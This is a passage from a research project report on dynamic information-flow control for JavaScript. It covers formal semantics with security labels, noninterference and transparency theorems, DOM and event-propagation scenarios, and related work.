As discussed in Section 2.2.2 the structure security label is taken into account for
non-existing fields.
GetProperty: Let d range over property descriptors or undefined, d ::=
{value 7→ v̇}|undefinedσ, and let dσ be defined structurally in the immediate way.
GetProperty is formulated in terms of GetOwnProperty and follows the prototype
chain [56] while searching for the field. During the search the security labels of
the primitive references and of the GetOwnProperty results are accumulated and
used to raise the final result, cf. the notion of read context and access path.
HasProperty: HasProperty is a boolean valued wrapper around GetProperty, i.e.,
it returns true if the field exists and false otherwise.
Delete: Delete deletes fields of objects. Given a primitive reference to a primitive
object and a field name the field is removed from the object. Deleting an existing
field from an object, changes the structure of the object, which causes the demand
that the write context of the object is below the structure label, and similarly for
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the existence, see Section 2.2.2. Similar to the update below, the structure security
label is raised to the security label of the field name.
Get: Given a primitive reference and a field name Get uses GetOwnProperty to
obtain a property descriptor and returns the value of the field or undefined if the
field does not exist.
Put: Of the ECMA object algorithms Put is the most complicated from an
information-flow perspective. It provides addition and update of the fields of
objects, with different information-flow restrictions depending on whether the
field is already present or not.

In the case of addition, the structure of the object is changed, and the demand
is that the previous structure security label is at least as secret as the write context
of the object. In addition, flow sensitivity allows the structure security label to
be raised to the security label of the field name. Thus, adding field with a secret
field name under public control to an object with public structure will make the
structure of the object secret. The existence security label and the value security
label are both raised to their write contexts.

In the case of update, the structure of the object is not changed, but the absence
of change encodes information about the field name. If both the write context of
the object and the security label of the field name are secret it is demanded that the
structure of the object is secret. Otherwise, the structure is raised to the security
label of the field name. The existence security label is either retained or lowered,
to allow for the existence security label to become public if the field is updated in
a public write context using a public field name. Finally, the value security label
is raise to the write context of the field value.

Let NewEcma allocate a new ECMA Object and return the primitive reference
to the newly allocated object

r fresh φ2 = φ1[r 7→ O[pc t ε]]
pc ` NewEcma (φ1, ε) = (rL, (φ2, ε))

where o[σ] denotes updating the structure security label.
For convenience, we use the standard dot notation for method application

defined as follows, rσ.X(a) E = (E[r][X](rσ · a) E)σ, where a (the arguments)
denotes a list of security labeled values, v̇.
Initial environment and built-in objects: In addition to the functionality
provided by the expressions and statements of the language the standard execution
environment contains a number of built-in objects reachable from the global
object.

In the following, public existence security labels and value security labels of
internal fields are frequently omitted in the case the field is mandatory or cannot
be updated.
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We define a minimal initial environment, φinit = { rG 7→ G, rO 7→ Object },
containing only the global object, G, and the object constructor, Object, defined
below.
Global object: In JavaScript, the global object defines a number of fields that
enriches the execution environment with constants, functions and constructors.
In addition to this, the global object acts as the store for global variables. For
space reasons, we include only the object constructor, Object, as a constructor
property of the global object, refraining from including the other constructors and
prototypes.

G = O[ _Prototype_ 7→ null, Object 7→ rO ]

Object constructor: The object constructor, Object = O[ _Prototype_ 7→
null, prototype 7→ null, _Construct_ 7→ ObjectConstruct ], is a function object that pro-
vides functionality for object creation, via the internal _Construct_ field. See
below for more information on function objects. The ObjectConstruct algorithm
allocates a new object, initializes the _Prototype_ field to null , and returns the
new primitive reference.

(ṙ2, E2) = pc ` NewEcma E1
E3 = pc ` ṙ2._Put_(_Prototype_L,nullL) E2

pc ` ObjectConstruct(ṙ1, [ ]) E1 = (ṙ2, E3)

Variable environment and environment records: The variable environment is
a chain of environment records, chained together by chaining objects, C(r1, ṙ2) =
{_EnvironmentRecord_ 7→ r1, _OuterEnvironment_ 7→ ṙ2}, where EnvironmentRecord
points to the environment record, and OuterEnvironment points to the next
chaining object in the chain. The environment records store the variable bindings
and come in two forms: object environment records and declarative environment
records differing in whether a separate object, the binding object, is used to
store the variable bindings or if the bindings are stored in the environment record
itself. Another difference is in the implementation of the ImplicitThisValue, for
which the object environment record returns the binding object and the declarative
environment record returns null.

We simplify object environment records and declarative environment records
to support the same subset of operations: HasBinding, GetBindingValue, Set-
MutableBinding, DeleteBinding, and ImplicitThisValue.

The NewDeclarativeEnvironment algorithm allocates a new declarative en-
vironment and links it onto the given environment record chain, and similarly for
the NewObjectEnvironment algorithm for object environments.
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r1, r2 fresh E2 = E1[r1 7→ DE, r2 7→ C(r1, ṙ)]
pc ` NewDeclarativeEnvironment(ṙ) E1 = (rL2 , E2)
r3, r4 fresh E2 = E1[r3 7→ OE(ṙ2), r4 7→ C(r3, ṙ1)]
pc ` NewObjectEnvironment(ṙ1, ṙ2) E1 = (rL4 , E2)

Get identifier reference: GetIdentifierReference takes a primitive reference to
the topmost variable environment and a variable name and traverses the chain of
environment records until the variable is found or the chain ends. The returned
result is a reference (ṙ, xL) where x is the name of the variable and r is a primitive
reference to the environment record containing the variable, or undefined if the
variable was not found.

GetIdentifierReference(nullσ, x) E = (undefinedσ, xL)
r1 6= null r2 = E[r1][_EnvironmentRecord_]

trueσ2 = rσ1
2 ._HasBinding_(xL) E

GetIdentifierReference(rσ1
1 , x) E = (rσ2

2 , xL)
r1 6= null r2 = E[r1][_EnvironmentRecord_]

falseσ2 = rσ1
2 ._HasBinding_(xL) E

ṙ3 = E[r1][_OuterEnvironment_]
(ṙ4, ẋ) = GetIdentifierReference(ṙσ2

3 , x) E
GetIdentifierReference(rσ1

1 , x) E = (ṙ4, ẋ)

Function objects: Function objects are objects containing two internal proper-
ties, _Call_, used by function application and _Construct_, used in object con-
struction.
User defined function objects: The function objects created when evaluating
function expressions are closures storing the context the function was created
in, the formal parameters of the function and the code of the function, used by
associated _Call_, and _Construct_. Let F denote the family of function objects

F(x, c, ṙ) = O[ _Scope_ 7→ ṙ, _FormalParameters_ 7→ x,
_Code_ 7→ c, _Call_ 7→ FunctionCall,
_Construct_ 7→ FunctionConstruct ]

Call: Calling a user defined function first allocates a new declarative environment
in which the arguments are bound by a process called declaration binding.
Thereafter the body of the function is executed in the updated context. Note that
the creation of the declarative environment, the declaration binding, and the body
are run in a security context raised to the security label of the primitive reference,
rF , of the function, as is the returned value, see Section 2.2.2.
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F = E1[rF ] pc2 = pc1 t σ
(ṙ, E2) = pc2 ` NewDeclarativeEnvironment(F[_Scope_]σ) E1

E3 = pc2, ṙ ` DeclarationBinding(F, a) E2
pc2, (this(ṙt), ṙ, ṙ) ` 〈F[_Code_], E3〉 → 〈u̇, E4〉

pc1 ` FunctionCall(ṙt, rσF , a) E1 = (u̇σ, E4)

where this(undefinedσ) = rσG, and this(ṙ) = ṙ, otherwise. (Recall that rG
is the primitive reference to the global object defined above.) See below for the
definition the semantics of statements used to evaluate the body, F[_Code_].
Declaration binding: Declaration binding first binds the arguments of the function
call and then performs variable hoisting.

E2 = pc, ṙ ` BindParameters(F[_FormalParameters_], a) E1
E3 = pc, ṙ ` HoistVariables(F[_Code_]) E2

pc, ṙ ` DeclarationBinding(F, a) E1 = E3

The parameters are bound by ignoring any surplus parameters, and setting
missing parameters to undefined .

pc, ṙ ` BindParameters([ ], _) E = E

E2 = pc ` ṙ._SetMutableBinding_(xL, v̇) E1
E3 = pc, ṙ ` BindParameters(x, v) E2

pc, ṙ ` BindParameters(x · x, v̇ · v) E1 = E3

E2 = pc ` ṙ._SetMutableBinding_(xL, undefinedL) E1
E3 = pc, ṙ ` BindParameters(x, [ ]) E2

pc, ṙ ` BindParameters(x · x, [ ]) E1 = E3

Variable hoisting traverses the body of the function and defines all variables,
initializing them to undefined . The hoisting algorithm HoistVariables is easily
formulated and can be found in the full version of the paper [71].
Construct: Object construction via user defined functions uses the function as
an initializer on a newly allocated ECMA object. Before passing the object,
the _Prototype_ field is set to the value of the prototype field of the constructor
function, after which the object is initialized by calling the constructor function
using the primitive reference to the object as the this argument. Without loss of
generality, we assume that all constructor functions return a primitive reference to
the new object.

(ṙ1, E2) = NewEcma E1 pc2 = pc1 t σ
ṙ2 = rσF ._Get_(prototype) E2

E3 = pc2 ` ṙ1._Put_(_Prototype_L, ṙ2) E2
(u̇, E4) = pc2 ` E3[rF ][_Call_](ṙ1, r

σ
F , a) E3

pc1 ` FunctionConstruct(rσF , a) E1 = (u̇σ, E4)
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In the following let NewFun allocate and set up a new function object from
the given list of formal parameters, function body and scope.

r1 fresh E2 = E1[r1 7→ F(x, c, ṙ)] (ṙ2, E3) = NewEcma E2
E4 = pc ` ṙ2._Put_(constructorL, rL1 ) E3
E5 = pc ` rL1 ._Put_(prototypeL, ṙ2) E4

pc ` NewFun(x, c, ṙ) E1 = (rL1 , E5)

Auxiliary reference functions: GetValue fetches the value associated with a
reference; non-reference values are returned untouched. Subject to the limitations
of Section 2.2.2 an exception is raised if the reference is undefined.

pc ` GetValue(vσ) E = vσ

v̇ = ṙ._Get_(ṡ) E r 6= undefined
pc ` GetValue((ṙ, ṡ)) E = v̇

σ t pc <: ε r = undefined
pc ` GetValue((rσ, ṡ)) (φ, ε) = exc ReferenceErrorσ

PutValue takes a reference and a value and updates the location denoted by the
reference with the value — if the reference is undefined the update is done on the
global object. Subject to the limitations of Section 2.2.2 an exception is raised if
the first argument is not a reference.

σ t pc <: ε
pc ` PutValue(vσ1 , v̇2) (φ, ε) = (exc ReferenceErrorσ, (φ, ε))

E2 = pc ` pσG._Put_(ṡ, v̇) E1

pc ` PutValue((undefinedσ, ṡ), v̇) E1 = E2

r 6= undefined pc ` ṙ._Put_(ṡ, v̇) E1 = E2

pc ` PutValue((ṙ, ṡ), v̇) E1 = E2

Semantics of expressions: The semantics of expressions is of the form pc, C `
〈e, E1〉 → 〈u̇, E2〉, read as e reduces to 〈u̇, E2〉 when run in E1, the security
context pc, and the context C.

The semantic rules for expressions are found in Table 2, where the exception
propagation rules have been omitted for clarity.

The expression rules are fairly straightforward, and formulated in terms
of the primitives of the previous section. Identifier dereference uses
GetIdentifierReference. All rules that contain evaluation of subexpressions use
GetValue to convert the results to values, assignment uses PutValue to update
the location denoted by the reference. delete uses Delete or DeleteBinding
depending on if the target is an object or an environment record (indicated by
IsPropertyReference). Function creation uses NewDeclarativeEnvironment to
allocate the local variable environment, NewFun to create the new function object
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pc, C ` 〈s|n|b|undefined, E〉 → 〈sL|nL|bL|undefinedL, E〉 pc, C ` 〈null, E〉 → 〈0L, E〉
pc, (τ̇ , l̇e, v̇e) ` 〈this, E〉 → 〈τ̇ , E〉 pc, C ` 〈[ ], E〉 → 〈[ ], E〉

pc, C ` 〈e, E1〉 → 〈v̇1, E2〉
v̇2 = pc ` GetValue(v̇1) E2

pc, C ` 〈e, E2〉 → 〈a,E3〉
pc, C ` 〈e · e, E1〉 → 〈v̇2 · a,E3〉

v̇ = GetIdentifierReferece(l̇e, x) E
pc, (τ̇ , l̇e, v̇e) ` 〈x,E〉 → 〈v̇, E〉

pc, C ` 〈[e1, e2], E1〉 → 〈[v̇1, v̇2], E2〉
ṙ = pc ` GetValue(v̇1) E2
ṡ = pc ` GetValue(v̇2) E2

pc, C ` 〈e1[e2], E1〉 → 〈(ṙ, ṡ), E2〉

pc, C ` 〈[e1, e2], E1〉 → 〈[v̇1, v̇2], E2〉
v̇3 = pc ` GetValue(v̇2) E2

E3 = pc ` PutValue(v̇1, v̇3) E2

pc, C ` 〈e1 = e2, E1〉 → 〈v̇3, E3〉
pc, C ` 〈e, E1〉 → 〈(ṙ, ṡ), E2〉

IsPropertyReference((r, s)) E2
(v̇, E3) = pc ` ṙ._Delete_(ṡ) E2

pc, C ` 〈delete e, E1〉 → 〈v̇, E3〉
pc, C ` 〈e, E1〉 → 〈(undefinedσ, ṡ), E2〉

pc, C ` 〈delete e, E1〉 → 〈trueL, E2〉
pc, C ` 〈e, E1〉 → 〈(ṙ, ṡ), E2〉
¬IsPropertyReference((r, s)) E2

(v̇, E3) = pc ` ṙ._DeleteBinding_(ṡ) E2

pc, C ` 〈delete e, E1〉 → 〈v̇, E3〉
pc, C ` 〈e, E1〉 → 〈v̇, E2〉 ṙ = pc ` GetValue(v̇) E2

pc, C ` 〈e, E2〉 → 〈a,E3〉
(u̇, E4) = pc ` E3[r][_Call_](this(v̇) E3, ṙ, a) E3

pc, C ` 〈e(e), E1〉 → 〈u̇, E4〉
pc, C ` 〈e, E1〉 → 〈v̇, E2〉 ṙ = pc ` GetValue(v̇) E2

pc, C ` 〈e, E2〉 → 〈a,E3〉
(u̇, E4) = pc ` E3[r][_Construct_](ṙ, a) E3

pc, C ` 〈new e(e), E1〉 → 〈u̇, E4〉
(leσ2 , E2) = pc ` NewDeclarativeEnvironment(l̇e1) E1

(ṙf , E3) = pc ` NewFun(x, c, leσ2 ) E2 ṙ = E3[le2][_EnvironmentRecord_]
E4 = ṙσ._SetMutableBinding_(xL, ṙf ) E3

pc, (τ̇ , l̇e1, v̇e) ` 〈function x(x) c, E1〉 → 〈ṙf , E4〉
pc, C ` 〈[e1, e2], E1〉 → 〈[v̇1, v̇2], E2〉

vσ1
3 = pc ` GetValue(v̇1) E2
vσ2

4 = pc ` GetValue(v̇2) E2

pc, C ` 〈e1 ? e2, E1〉 → 〈(v3 ? v4)σ1tσ2 , E2〉
pc, C ` 〈e, E1〉 → 〈vσ, E2〉

pc, C ` 〈typeof (e), E1〉 → 〈typeof (v)σ, E2〉
pc, C ` 〈e, E1〉 → 〈(ṙ, ṡ), E2〉

r 6= undefined vσ = GetValue((ṙ, ṡ)) E2

pc, C ` 〈typeof (e), E1〉 → 〈typeof (v)σ, E2〉
pc, C ` 〈e, E1〉 → 〈(undefinedσ, ṡ), E2〉

pc, C ` 〈typeof (e), E1〉 → 〈undefinedσ, E2〉

Table 2: Semantics of expressions
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and SetMutableBinding to initialize the new environment by binding the function
name to the newly created function object in order to allow for recursive calls.
Function application uses Call , and object creation uses Construct.

The field projection, assignment, object construction, and binary operators all
use the evaluation of a list of expressions pc, C ` 〈e, E1〉 → 〈v, E2〉, which returns
a list of security labeled values.

Note the this(v̇) E3 of the function call, which computes the this binding of
the invocation, from the reference v̇ = (r, s)σ: 1) if the base of the reference,
r, is undefined, or if it is a property reference then the base of the reference is
returned, otherwise, 2) the base is an environment record and the result of calling
_ImplicitThisValue_ is returned.

Finally, note how typeof returns undefined for undefined variables, whereas
using an undefined variable in, e.g., a binary operator would cause an exception
when trying to apply GetValue on the reference. This is the reason typeof can be
used to detect whether variables are defined or not.

From an information flow perspective only the rules for typeof and binary
operators contain primitive information flow (corresponding to the standard
treatment of unary and binary operators); the information flow of the rest of the
rules is in terms of primitive constructions.

Semantics of statements: Let R ::= E | exc E | 〈u̇, E〉 indicating normal
termination without return value, exceptional termination, and termination with
return value u̇. The semantics of statements is of the form pc, C ` 〈c, E〉 → R,
read as c reduces to R when run in E, security context pc and context C.

The semantic rules of statements are found in Table 3, where the rules for
exception propagation have been omitted for clarity.

Sequence, iteration in the form of while, and conditional choice are all
standard. The two latter raise the security context of the body and chosen branch
to the security label of the controlling expression.

The for-in statement iterates over the external fields of an object. For each
external field name in the object, the given variable is updated with the name
using the existence security label of the field as the security label, and the body
of the for-in is run. The iteration is provided by the three rules of the form
pc, C ` 〈(s, v̇, c), E1〉 → E2, that for each ṡ in s binds the variable references
by v̇ to ṡ before running c. Recall that s ranges over lists of security labeled
strings.

The throw demands that the security context pc is below the exception security
label ε, as does the exception security label upgrade statement.

The execution of try-catch is divided into normal and exceptional execution
of the body. In the first case, the result of the execution is returned in the outer
exception context, i.e., the exception security label of the try-catch. This allows
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pc, C ` 〈c1, E1〉 → E2
pc, C ` 〈c2, E2〉 → E3

pc, C ` 〈c1; c2, E1〉 → E3

pc, C ` 〈e, E1〉 → 〈trueσ, E2〉
pc t σ, C ` 〈c1, E2〉 → E3

pc, C ` 〈if (e) c1 else c2, E1〉 → E3

pc, C ` 〈e, E1〉 → 〈falseσ, E2〉
pc t σ, C ` 〈c2, E2〉 → E3

pc, C ` 〈if (e) c1 else c2, E1〉 → E3

pc, C ` 〈e, E1〉 → 〈falseσ, E2〉
pc, C ` 〈while (e) c, E1〉 → E2

pc, C ` 〈e, E1〉 → 〈trueσ, E2〉
pc t σ, C ` 〈c, E2〉 → E3 pc t σ, C ` 〈while (e) c, E3〉 → E4

pc, C ` 〈while (e) c, E1〉 → E4

pc, C ` 〈([ ], v̇, c), E〉 → 〈E〉

IsExternal(s) E2 = pc ` PutValue(v̇, sσ) E1
pc t σ, C ` 〈c, E2〉 → E3

pc, C ` 〈(s, v̇, c), E3〉 → E4

pc, C ` 〈(sσ · s, v̇, c), E1〉 → E4

¬IsExternal(s)
pc, C ` 〈(s, v̇, c), E1〉 → E2

pc, C ` 〈(sσ · s, v̇, c), E1〉 → E2

pc <: ε
pc, C ` 〈upg exc, (φ, ε)〉 → (φ,H)

pc, C ` 〈e, E1〉 → 〈u̇, E2〉
pc, C ` 〈return e, E1〉 → 〈u̇, E2〉

pc, C ` 〈x,E1〉 → 〈v̇1, E1〉
pc, C ` 〈e, E1〉 → 〈v̇2, E2〉
rσ = pc ` GetValue(v̇2) E2

E2[r] = {s1
σ17→ ṗ1, . . . , sn

σn7→ ṗn, . . . }
pc, C ` 〈([sσtσ1

1 , . . . , sσtσn
n ], v̇1, c), E2〉 → E3

pc, C ` 〈for (x in e) c, E1〉 → E3

pc, (τ̇ , l̇e1, v̇e) ` 〈c1, (φ1, ε1)〉 → 〈exc v̇, E2〉
(leσ2 , E3) = pc ` NewDeclarativeEnvironment(l̇e1) E2

ṙ = E3[le2][_EnvironmentRecord_]
(φ4, ε4) = ṙσ._SetMutableBinding_(xL, v̇) E3

pc t ε4, (τ̇ , leσ2 , v̇e) ` 〈c2, (φ4, ε1)〉 → E5

pc, (τ̇ , l̇e1, v̇e) ` 〈try c1 catch(x) c2, (φ1, ε1)〉 → E5

pc, C ` 〈e, E1〉 → 〈v̇, (φ2, ε2)〉 pc <: ε2
pc, C ` 〈throw e, E1〉 → 〈exc v̇, (φ2, ε2)〉

pc, C ` 〈c1, (φ1, ε1)〉 → (φ2, ε2)
pc, C ` 〈try c1 catch(x) c2, (φ1, ε1)〉 → (φ2, ε1)

pc, (τ̇ , l̇e, v̇e) ` 〈e, E1〉 → 〈sσ, E2〉 c = parse(s)
E3 = pc, v̇e ` HoistVariables(c) E2

pc t σ, (τ̇ , l̇e, v̇e) ` 〈c, E2〉 → E3

pc, (τ̇ , l̇e, v̇e) ` 〈eval e, E1〉 → E3

pc, (τ̇ , l̇e1, v̇e) ` 〈e, E1〉 → 〈v̇, E2〉 ṙ = pc ` GetValue(v̇) E2
(l̇e2, E3) = pc ` NewObjectEnvironment(l̇e1, ṙ) E2

pc, (τ̇ , l̇e2, v̇e) ` 〈c, E3〉 → E4

pc, (τ̇ , l̇e1, v̇e) ` 〈with e c, E1〉 → E4

Table 3: Semantics of statements
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for containing exception security label upgrades to the try-catch. In the second
case, if an exception is thrown in the body of the try-catch, control is passed to the
exception handler. The body of the handler is run in a new lexical environment, in
which the formal parameter of the handler is bound to the exception value. This
means that variables declared in the body of the handler are not contained to the
body of the handler, similar to eval and with above. With respect to information
flow, the body of the handler is run in a security context which is the least upper
bound of the initial security context and the exception security label at the program
point where the exception was thrown. This guarantees that the body of the
handler is unable to leak information about the existence of secret exceptions.
Further, the body of the handler is run in the outer exception security level, since
any (uncaught) exceptions in the handler escape the try-catch.

The eval statement evaluates its argument, parses the result to a program,
which is run after hoisting the variables into variable environment. Hence,
variables introduced by eval are defined in the context of the closest enclosing
function, or into the global object. The program is run in a security context that is
raised to the security label of the parsed string.

Finally, the with statement changes the lexical environment, hence shadowing
existing variables, but not containing any potential variable declarations contained
in the body of the with, since the variable hoisting declares the variable in the
variable environment.

2.4 Information-flow security and Transparency
A common policy for information-flow security is noninterference [42, 65].
Formally, noninterference is formulated as the preservation of a family of low-
equivalence relations, ∼, under execution. As is standard for languages with
references [14], the family is indexed by a relation β representing a bijection
between the public domains of the heaps.

There are several flavors of noninterference depending on whether timing,
progress, and termination are taken into account. In the following, we consider
a baseline policy of termination-insensitive [148, 132] noninterference: two
expressions are considered noninterfering if all terminating runs agree on public
outcomes. Termination-insensitive noninterference allows leaks of information
via the termination behavior of programs. In a batch-job setting, it allows leaks
of at most one bit of information. Termination-insensitive noninterference is a
natural fit for the monitor because it justifies the blocking upon detecting a security
violation.
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2.4.1 Low-equivalence

Noninterference is formulated in terms of a family of low-equivalence relations
· ∼· · for values, objects, heaps, and environments. The family of relations is
defined structurally, demanding that equivalent values carry equal security labels,
and in the case the label is public that values are equal. The definition of the
low-equivalence relation can be found in the full version of the paper [71].

2.4.2 Noninterference

Two statements c1 and c2 are noninterfering, ni(c1, c2), if any pair of terminat-
ing runs, starting from low-equivalent execution environments, results in low-
equivalent execution environments:

ni(c1, c2) = E1 ∼β1,ε1 E2 ∧ C1 ∼β1 C2∧
L, C1 ` 〈c1, E1〉 → 〈u̇1, E

′
1〉 ∧ L, C2 ` 〈c2, E2〉 → 〈u̇2, E

′
2〉 ⇒

∃β2, ε2 . β1 ⊆ β1 ∧ 〈u̇1, E
′
1〉 ∼β2,ε2 〈u̇2, E

′
2〉

We prove the security of the dynamic type system by establishing that all
terminating runs of all programs are noninterfering:

Theorem 1 (Noninterference). ∀c . ni(c, c).

Proof. The proof (detailed in the full version of this paper [71]) proceeds by
induction on the size of the execution derivation tree. As is standard, the
noninterference theorem is uses a supporting lemma that proves freedom of public
side effects under secret control. The proof includes a number of tricky sub-proofs
— in particular Put, and try-catch and parts of the exception propagation. Those
sub-proofs have been independently stated as lemmas, and have been formalized
and proved using the proof assistant Coq.

2.4.3 Transparency

Transparency expresses that the security instrumentation is conservative, i.e., if a
program is able to run in the instrumented semantics, then this run is consistent
with the run of the program in the original (un-instrumented) semantics. Let  
denote evaluation in the un-instrumented semantics that ignores security labels
and interpret upgrade instructions as skip. Let Φ be a function that removes all
security labels from values.

Theorem 2 (Transparency). It holds that
L, C ` 〈c, E1〉 → 〈u̇, E2〉 ⇒ Φ(C) ` 〈c,Φ(E1)〉 〈Φ(u̇),Φ(E2)〉
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2.5 Scenarios
This section presents the implementation of the two scenarios of Section 2.3.

2.5.1 Online advertisement

Consider an online shopping cart holding a number of items. The cart contains
a number of items, displaying their name and their prices, and the total price. In
addition, the merchant wants to include ads from cooperating third parties and
discounts mixed in with the items to get the information as close to the relevant
item.

Figure 1: Shopping Cart Example

The resulting situation is that items,
discounts and third party code are all
mixed, when rendering the cart. This
gives rise to a number of interesting
information-flow issues. For instance, the
customer may want to keep the existence
of certain items, their prices, or the num-
ber of items secret. Similarly, the merchant
may want to keep any discounts or offers
secret, as they reflect a particular customer

relationship.
In order to construct the above example we have implemented the core

structure of DOM nodes, faithfully implementing the interface mandated by
the DOM [74]. We allow the programmer full access to the link structure in
terms of parent, firstChild, lastChild, prevSibling, nextSibling, and the childNodes
array. Insertion and removal of nodes is provided via insertBefore, appendChild,
replaceChild, and removeChild. As mandated by the recommendations [74],
repeated insertion of the same node will move the node in the structure.

The cart is implemented using the structure of an unordered list. This produces
a linked structure mixing public and secret data, and where the existence of certain
elements might be secret, depending on the security policies of the merchant and
the customer. Assume that the nodes of the example ul, A, I1, I2, D, and T have
been created and properly initialized. The names should be interpreted as follows:
ul stands for unordered list, I for item, A for ad, D for discount and T for total.

Assuming that the customer wants to protect the price of the items and the
total price, but not the items themselves, and that the merchant wants to protect
the existence of discount, we can build the list of the cart by successive use of
appendChild on ul.

u l . appendCh i ld (A ) ; u l . appendCh i ld ( I1 ) ;
u l . appendCh i ld ( I2 ) ; . . .

FP7-ICT-2009-5
Project No. 256964



D3.3: Information-flow policies and server-driven enforcement 38/172

This code adds the ad, and the first items to the list. Thereafter, the discount
is added under secret control using the expression if (h) top .appendChild(D);,
where h = 1H . This addition is not allowed without changing the security labels
of the existing structure, since it is being written into under secret control. The
following sequence of label upgrades covers the footprint of the appendChild
method.

u p g _ s t r u c t ( u l . c h i l d N o d e s ) ;
upg ( u l . c h i l d N o d e s . l e n g t h ) ;
upg ( u l . l a s t C h i l d ) ;
upg ( I2 . n e x t S i b l i n g ) ; upg (D. n e x t S i b l i n g ) ;
upg (D. p r e v S i b l i n g ) ; upg (D. p a r e n t ) ;

As discussed in Section 2.2 such upgrade sequences can be generated by
automatic testing. Finally, we add the last node, the total, top .appendChild(T);.

With some of the edges suppressed for clarity, the result of the program is
the node hierarchy depicted below. Note how the contents of I1, I2, D, and T
are secret, and how the existence of the discount D is secret, indicated by the
secret references between D and its neighbors. In the bottom is the child nodes
array, where the existence of the first three indices is public, and the existence
of the last two is secret, i.e. there exists a point in the array dividing the array
into a public left part and a secret right part. The type of this array corresponds
to the structural restrictions imposed by Russo et al. [130]. It is interesting to
note how this demand arises naturally in the implementation without imposing
any restrictions, but rather based on how the array is used by the node insertion
code. Note that this applies only to the array, and not to the linked node structure,
which has a more liberal type. For instance, it is possible to reach T using the
lastChild of ul.

ulL

IH2 DH THIH1AL

0L : rL1 1L : rL2 2L : rL3 3H : rH4 4H : rH5

L L H H

Thus, we have shown how the language of this paper can be used to encode the
core of the DOM, with the basic operations provided by DOM nodes, with high
precision. In contrast to earlier work (e.g., [130]) this is achieved entirely without
taking any DOM-specific information into account. Everything, including the
arrays, has been implemented in the language, and obey the basic type rules of the
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system. We are, in a natural way, able to freely traverse the resulting hierarchy
and access nodes via the childNodes array.

2.5.2 User tracking

Consider a login system combining the use of a shared secret and the use of a
username and password. Once the latter has been presented, a nine-digit keypad
and a challenge are presented. To authenticate, the user finds the correct response
to the challenge using the shared secret, and uses the keypad, to enter the response.
Such a system is currently employed by barclays.es using a response size of
2 decimal digits chosen from a shared secret of 100 such numbers. At the same
time the page uses Google Analytics to track usage.

Figure 2: Keypad
Example

Now assume, that the above is part of a bigger website,
where some technology for generating click heat maps is
applied. In such a case, it is very important that the position
information of the clicks on the keypad is not propagated
to the heap map generator, since the positions of the clicks
give away parts of the shared secret. Further, one might
want to protect not only the position information in the
click events, but also the fact that the clicks occur. The
reasons for this might include secrecy of the length of the
response, or secrecy of the time at which the events occur.

We support the example by implementing a pro-
gram modeling rudimentary support for event propagation.
Without loss of generality, the model only supports one

event listener per node, and one type of events. An extension to multiple event
listeners and events is immediate, but clutters the model. Each node provides
methods for setting the event listener, setting the parent and firing an event.
The fire event method takes a parameter, the event data, and calls the regis-
tered event listener, if one exists. If the event listener returns true the event is
propagated to the parent otherwise not. Three different fire event methods are
provided: one acting as previously described, one upgrading the event data to
secret, and one running the event handler under secret control. The second fire
event method models events where the data is secret, e.g., the position data of
the clicks discussed above, and the third models when both the data and the
existence of the clicks is secret. In the following, consider the events to be
the onClick events generated when the user click on the buttons of the keypad.
Simplified, the above example can be represented with the following DOM node
hierarchy, where the nodes 1 to 9 represents the buttons grouped under a keypad
node k, which is part of the document d, together with the rest of the document r,
and the click heat map generator map.
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d map

k r

51 9

The hierarchy also represents the parent hierar-
chy of event propagation, i.e., events on 1 are prop-
agated to k, and finally to d, where the event is col-
lected by the click heat map generator, if the handlers
do not stop propagation. Now consider the following
different possibilities.
Unconstrained propagation: corresponds to the
situation described above, where an event is injected

using the first fire event method and is propagated upwards in the parent hierarchy
after execution of the local handler until reaching the top. In the example this
would allow deduction of the shared secret from the event data sent to the heat
map generator.
Propagation of secrets: corresponds to the situation, where the second fire event
method is used to inject the event. This handler upgrades the security label of the
data of the event, i.e., the position of the click. This makes the event data secret.
Even though the event is propagated upwards, any operation on the event data will
reflect its secrecy, and if data reaches the heat map generator it will not be able
to use the data without triggering a security violation. Hence, the map generator
gets to know the existence of the event, but not its contents.
Stopped propagation of secrets: If we want to prohibit the heat map generator
from receiving click events from the keypad altogether, we have two options. The
first option is to install a non-propagating handler in k, (or all of 1 to 9) that stops
the propagation of events upwards to the parent. In such case, events originating
from 1 to 9 will be propagated to k, where the handler will return false preventing
further propagation which stops the event from reaching the heap map generator.
Secret propagation: The other method allows the prevention of click events
originating from 1 to 9 from being used by the heat map generation without
installing special handlers in k. Instead, if the third fire event method is used, the
event handlers, including the heap map generator, will be executed under secret
control. The result is that the heat map generator is prevented from causing public
side effects, and thus neither the event data or the fact that the event occurred can
be used without causing a security violation. This method is preferable, since it
relies on the security labels, rather than the presence of a special handler.

We have shown how a rudimentary event model can be encoded natively
in the language, and how the features provide the possibility of dynamic event
propagation hierarchies, in addition to both protecting the data of events, and the
fact that the event occurred. The event implementation can be seen as a simplified
version of the event model of Rafnsson and Sabelfeld [119], which extends the
reactive model presented by Bohannon et al. [28].
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2.6 Related work
Amongst a large body of research on language-based approach to information-
flow security [132], we discuss most related work on dynamic information control,
as well as related work that targets securing JavaScript.

Dynamic information-flow control Our paper pushes the limits of dynamic
information-flow enforcement on both expressiveness of the underlying language
and on the permissiveness of the enforcement. We briefly discuss previous work
that serves as our starting point.

Russo and Sabelfeld [129] show that purely dynamic flow-sensitive monitors
do not subsume the permissiveness of flow-sensitive security type systems.
Although our monitor is purely dynamic, the language includes a security label
upgrade operator. This means that we can mimic type systems by injecting
security upgrades in appropriate parts of the code. Hence, the permissiveness of
our approach can be boosted to that of hybrid monitors, at the cost of programmer
annotations.

Chugh et al. [38] present a hybrid approach to handling dynamic execution.
Their work is staged where a dynamic residual is statically computed in the first
stage, and checked at runtime in the second stage.

Fenton [61] discusses purely dynamic monitoring for information flow but
does not prove noninterference. Volpano [147] considers a purely dynamic
monitor to prevent explicit (but not implicit) flows. In a flow-insensitive setting,
Sabelfeld and Russo [134] show that a monitor similar to Fenton’s enforces
termination-insensitive noninterference without losing in precision to classical
static information-flow checkers. This line of work has progressed further to
extend the monitor to a language with dynamic code evaluation, communication,
and declassification [9], as well as timeout instructions [128].

In previous work, Russo et al. [130] investigate the impact of dynamic tree
structures like the DOM on information flow. The monitor focuses on preventing
attacks based on navigating and deleting DOM tree nodes. The monitor derives
the security level of existence for each node from the context of its creation. Our
model can be viewed as a generalization, where the DOM falls out naturally, and
without losing permissiveness, from the general treatment of pointers and linked
structures.

Austin and Flanagan [11, 12] suggest a purely dynamic monitor for informa-
tion flow with a limited form of flow sensitivity. They discuss two disciplines:
no sensitive-upgrade, where the execution gets stuck on an attempt to assign to a
public variable in secret context, and permissive-upgrade, where on an attempt to
assign to a public variable in secret context, the public variable is marked as one
